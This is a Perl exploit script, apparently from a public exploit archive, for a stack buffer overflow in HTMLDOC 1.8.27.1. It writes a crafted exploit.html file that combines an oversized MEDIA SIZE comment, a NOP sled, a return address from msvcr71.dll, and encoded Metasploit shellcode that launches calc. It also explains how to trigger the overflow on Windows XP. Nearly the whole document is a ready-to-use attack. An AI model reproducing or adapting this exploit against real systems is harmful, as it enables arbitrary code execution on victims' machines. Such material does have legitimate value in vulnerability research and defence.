htmldoc 1.8.27.1 Stack Overflow

`#!/usr/bin/perl  
# htmldoc 1.8.27.1 (.html) Universal Stack Overflow Exploit  
# http://en.securitylab.ru/poc/extra/382563.php >> Bufferoverflow POC  
# By ksa04  
# j-7[at]hotmail[dot]com  
# From Kingdom of Saudi Arabia  
#[+]--------------------------------------------------------------------------------------[+]#  
# program : HTMLDOC  
# version : all versions (tested 1.8.27.1 and 1.8.27 and 1.8.24)  
# website program : http://www.htmldoc.org   
# Download : http://www.easysw.com/htmldoc/software.php  
# Tested Under Windows XP SP3  
# NOTE : launching from directory >> htmldoc -f lol.pdf exploit.html  
# or launching HTMLDOC.exe >> add file >> Document type (wEb page or continuous) >>  
# put any thing in Output >> Generate   
#[+]--------------------------------------------------------------------------------------[+]#  
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
my $shellcode =   
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".  
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".  
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".  
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".  
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".  
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".  
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".  
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".  
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".  
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".  
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".  
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".  
"\x4e\x46\x43\x36\x42\x50\x5a";  
$payload = "<!-- MEDIA SIZE 1x1".  
"\x41" x 248 .  
"\x90" x 20 .  
"\x30\x5C\x34\x7C". # push esp msvcr71.dll  
$shellcode.  
"-->\n";  
open(vuln,'>>exploit.html');  
print vuln $payload;  
print "[+] Done !! [+]";  
close(vuln);  
  
`